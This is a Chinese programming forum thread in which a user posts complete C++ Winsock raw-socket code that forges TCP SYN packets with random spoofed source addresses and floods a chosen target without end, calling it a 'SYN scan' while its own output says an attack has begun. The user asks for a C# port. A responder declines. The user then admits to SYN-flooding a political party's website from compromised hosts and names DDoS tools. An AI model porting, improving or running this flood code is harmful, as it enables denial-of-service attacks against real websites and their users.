c++其实学过,但早忘了,学的时候也是和基本没学过一样。
这里有一个c++的代码,想请你帮忙改写成c#的,然后我研究研究看看,要求必须和里面的代码用同样的方法,主要我想学习一下c#用ws2_32.dll winsock2.dll 伪造ip syn扫描这样的c#代码。不要说c#不能实现,有人就做出了c#的syn扫描器。而不能用system.net system.net.sockets 这样的代替。谢过。===========================
#include <stdlib.h>
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <time.h>#pragma comment(lib,"ws2_32.lib")
#define PacketNum 1024////////////////////////////////////////////////////////////////
//全局变量
////////////////////////////////////////////////////////////////int MaxThread; //最大线程数量
int CurrentThread = 0; //当前活动线成数量
char SendBuff[PacketNum][60] = {0}; //1024个数据包,每个的长度就是IpHeader+TcpHeader
SOCKADDR_IN Sin;
SOCKET SendSocket;typedef struct ip_hdr
{
    unsigned char h_verlen; //4位首部长度,4位IP版本号
    unsigned char  tos; //8位服务类型TOS
    unsigned short  total_len; //16位总长度(字节)
    unsigned short  ident; //16位标识
    unsigned short  frag_and_flags; //3位标志位
    unsigned char  ttl; //8位生存时间 TTL
    unsigned char  proto; //8位协议 (TCP, UDP 或其他)
    unsigned short  checksum; //16位IP首部校验和
    unsigned int  sourceIP; //32位源IP地址
    unsigned int  destIP; //32位目的IP地址
}IP_HEADER;typedef struct tcp_hdr //定义TCP首部
{
    USHORT  th_sport; //16位源端口
    USHORT  th_dport; //16位目的端口
    unsigned int th_seq; //32位序列号
    unsigned int th_ack; //32位确认号
    unsigned char th_lenres; //4位首部长度/6位保留字
    unsigned char  th_flag; //6位标志位
    USHORT  th_win; //16位窗口大小
    USHORT th_sum; //16位校验和
    USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;typedef struct tsd_hdr //定义TCP伪首部
{
    unsigned long saddr; //源地址
    unsigned long  daddr; //目的地址
    char  mbz;
    char  ptcl; //协议类型
    unsigned short  tcpl; //TCP长度
}PSD_HEADER;

解决方案 »

  1.   

    ////////////////////////////////////////////////////////////////
    //函数原形
    ////////////////////////////////////////////////////////////////int             setup(char * , char *); //生成数据包
    DWORD WINAPI    send_packet(LPVOID); //发送数据函数
    USHORT          checksum(USHORT *, int); //计算检验和函数
    void            watchthread(void); //检测当前线程数量////////////////////////////////////////////////////////////////
    //main函数
    ////////////////////////////////////////////////////////////////int main(int argc, char *argv[])
    {
    WSADATA WSAData;
    DWORD ThreadID = 1;
    HANDLE ThreadHandle = NULL; if ( argc != 4 )
    {
        printf( "\n%s\t<TargetIP>\t<TargetPort>\t<MaxThread>\n", argv[0] );
    return -1;
        }    if ( WSAStartup(MAKEWORD(2, 2), &WSAData) != 0 )
        {
        printf( "初始化WSAStartu失败\n" );
    return -1;
        }    if ( atoi(argv[3]) > 0 && atoi(argv[3]) < 150 )
        {
        MaxThread = atoi(argv[3]);
        }
        else
        {
    printf( "最大线程数量错误,必须大于0且小于150" );
    return -1;
        }    //初始化数据包,储存到数组当中。
        if( setup(argv[1] , argv[2]) == 1 )
        {
        printf( "初始化完成\n" );
        }
        else
        {
    printf( "初始化失败\n" );
    return -1;
    } printf( "攻击开始...\n" );    while (1)
        {
        ThreadID = 1; for ( int Tmp = 0 ; Tmp < PacketNum ; Tmp++ )
    {
    watchthread();
    ThreadID++; ThreadHandle = CreateThread(NULL, 0, send_packet, (LPVOID) Tmp, 0, &ThreadID);   if ( ThreadHandle != NULL )
      {
     
    CurrentThread++;
        CloseHandle( ThreadHandle );
    }
       }
        }
    closesocket(SendSocket);
        WSACleanup();
        return 1;
    }////////////////////////////////////////////////////////////////
    //名字:setup
    //描述:进行初始设置,计算特定ip,特定端口,特定tcp序列号的检验和,生成数据包
    //参数:目的ip地址,目的端口
    //目的:提高syn数据包发送速度
    ////////////////////////////////////////////////////////////////int setup( char *DestIp , char *DestPort)
    {
    char         src_ip[20] = {0};//源IP
        USHORT src_port;//源端口
        char dst_ip[20] = {0};//目的IP
        USHORT dst_port;//目的端口
        IP_HEADER    IpHeader;
        TCP_HEADER   TcpHeader;
        PSD_HEADER   PsdHeader;    if ( strlen(DestIp) >= 16 )
        {
        printf( "目的IP不对\n" );
        return -1;
        }
        strcpy( dst_ip , DestIp );    if ( atoi(DestPort) < 0 || atoi(DestPort) > 65535 )
        {
        printf( "目的端口不对\n" );
        return -1;
        }    Sin.sin_family = AF_INET;
        Sin.sin_port = atoi(DestPort);
        Sin.sin_addr.s_addr = inet_addr(dst_ip);    srand((unsigned) time(NULL));    for ( int n = 0; n < PacketNum; n++ )
        {
        wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );     //填充IP首部
        IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));
        IpHeader.tos = 0;
        IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));
        IpHeader.ident = 1;
        IpHeader.frag_and_flags = 0x40;
        IpHeader.ttl = 128;
        IpHeader.proto = IPPROTO_TCP;
        IpHeader.checksum = 0;
        IpHeader.sourceIP = inet_addr(src_ip);
        IpHeader.destIP = inet_addr(dst_ip);     //填充TCP首部
        TcpHeader.th_sport = htons( rand()%60000 + 1 ); //源端口号
        TcpHeader.th_dport = htons( atoi(DestPort) );
        TcpHeader.th_seq = htonl( rand()%900000000 + 1 );
        TcpHeader.th_ack = 0;
        TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0);
        TcpHeader.th_flag = 2; //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG
        TcpHeader.th_win = htons(512);
        TcpHeader.th_sum = 0;
        TcpHeader.th_urp = 0;     PsdHeader.saddr = IpHeader.sourceIP;
        PsdHeader.daddr = IpHeader.destIP;
        PsdHeader.mbz = 0;
        PsdHeader.ptcl = IPPROTO_TCP;
        PsdHeader.tcpl = htons(sizeof(TcpHeader));     //计算TCP校验和
        memcpy( SendBuff[n], &PsdHeader, sizeof(PsdHeader) );
        memcpy( SendBuff[n] + sizeof(PsdHeader), &TcpHeader, sizeof(TcpHeader) );
        TcpHeader.th_sum = checksum( (USHORT *) SendBuff[n], sizeof(PsdHeader) + sizeof(TcpHeader) );     //计算IP检验和
        memcpy( SendBuff[n], &IpHeader, sizeof(IpHeader) );
        memcpy( SendBuff[n] + sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) );
        memset( SendBuff[n] + sizeof(IpHeader) + sizeof(TcpHeader), 0, 4 );
        IpHeader.checksum = checksum( (USHORT *) SendBuff, sizeof(IpHeader) + sizeof(TcpHeader) );     memcpy( SendBuff[n], &IpHeader, sizeof(IpHeader) );
        memcpy( SendBuff[n]+sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) );
        } BOOL Flag;
        int     Timeout;    //建立原生数据socket
        /*if ( (SendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET )
        {
    CurrentThread--;
       return 0;
        }*/ SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED );
    if( SendSocket == INVALID_SOCKET )
    {
    return 0;
    }    //设置自己填充数据包
        Flag = TRUE;
        if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR )
        {
        printf("Setsockopt发生错误\n");
       return 0;
        }
        //设置超时时间
        Timeout = 1000;
        if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR )
        {
        return 0;
        }    return 1;
    }////////////////////////////////////////////////////////////////
    //名字:send_packet
    //描述:向目标主机发送syn数据包
    ////////////////////////////////////////////////////////////////DWORD WINAPI send_packet(LPVOID LP)
    {
        //发送数据包
    int     Tmp = (int)LP;
        int Ret,Count = 0; while(TRUE)
    {
    Ret = sendto(SendSocket, SendBuff[Tmp], sizeof(IP_HEADER) + sizeof(TCP_HEADER), 0, (struct sockaddr *) &Sin, sizeof(Sin));    if( Ret != SOCKET_ERROR )
    {
    Count ++;
    if( Count == 10240 )
    {
    printf( "." );
    Count = 0;
    //break;
    }
    /*
    else
    {
    Ret = sendto(SendSocket, SendBuff[Tmp], sizeof(IP_HEADER) + sizeof(ICMP_HEADER), 0, (struct sockaddr *) &Sin, sizeof(Sin));
    }
        */
    }
    else break;
    }
    CurrentThread --;
    return 1;
    }////////////////////////////////////////////////////////////////////
    //函数:WatchThread
    //描述:检测当前线程数量,如果大于等于最大线程数量则休眠0.1秒等待其他线程退出
    //返回值:无
    ////////////////////////////////////////////////////////////////////void watchthread()
    {
    for ( ; ; )
        {
        if ( CurrentThread >= MaxThread )
       {
       Sleep(100);
       }
       else break;
        }
    }///////////////////////////////////////////////////////////////
    //函数:CheckSum
    //描述:计算检验和
    //返回:返回检验和
    ///////////////////////////////////////////////////////////////USHORT checksum(USHORT * buffer, int size)
    {
    unsigned long cksum = 0;    while (size > 1)
        {
    cksum += *buffer++;
       size -= sizeof(USHORT);
        }
        if (size)
        {
    cksum += *(UCHAR *) buffer;
        }
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >> 16);    return (USHORT) (~cksum);
    }
      

  2.   

    或者直接给我一个c#编写的可以伪造随机ip发送syn包的或者syn扫描的代码也可以。
      

  3.   

    syn扫描是很好的技术啊,为什么说没有技术含量呢。如果用syn攻击的话,虽然看起来技术不高,但确实最有效的手段不是吗?
      

  4.   

    绝大部分人对你声称的有技术含量的syn扫描不感兴趣——也包括作为微软最有价值专家的我——这些人可能一生中都不会自己写程序攻击一个网站。剩下的语法部分属于你自己应该掌握的知识。不要把你自己的价值观强加给他人。
      

  5.   

    果然是一说到带有攻击性质的程序就没人指点了。我只是想多学一点这方面的知识,因为包括msdn在内对于这方面的说明和例子太少了,几乎没有。
    并不是每个想编写这类程序的人都想去攻击一个网站,因为.net本来就比较慢,想攻击网站的话有很多很好很快的工具不是吗,比如 xdos hgod drdos,而且这段c++代码本来我就用vc6编译成功而且可以用,为什么想让别人转成c#而去学习呢,还非要用.net自己编写一个比那些工具效率差很多的程序吗。也不是每一个攻击网站的人都自己去编写程序,因为绝大部分的攻击者的兴趣在于掌握更多的漏洞,黑到更多的机器,拿到更多的肉鸡,是不会费这种功夫学习编写程序的。就像你想编写一个杀毒软件,就必须先知道病毒是如何编写的,所以并不是每一个学习病毒的人都去制作病毒的,我想学习这一方面的知识,制作一个自己的其实也就是为了满足一下虚荣心,找找成就感而已。虽然你是mvp,但既然你认准了我就是为了攻击别人的网站而写程序,那就没什么说的了,不帮忙就算啦。这段时间看了几篇类似的文章,大体也对构造ip头tcp首部校验什么的有了些了解,估计也快看明白了。
    ======
    最后,我不是一个攻击者,我只在去年玩过几个月的黑克,至于说道你说的攻击网站,我也只在我找到的台湾肉机上syn过民进党的网站,仅此而已,而起,如果以后还需要d一个网站即使我自己编写出来也不会去用的,还是去用效率更高的hgod。唉。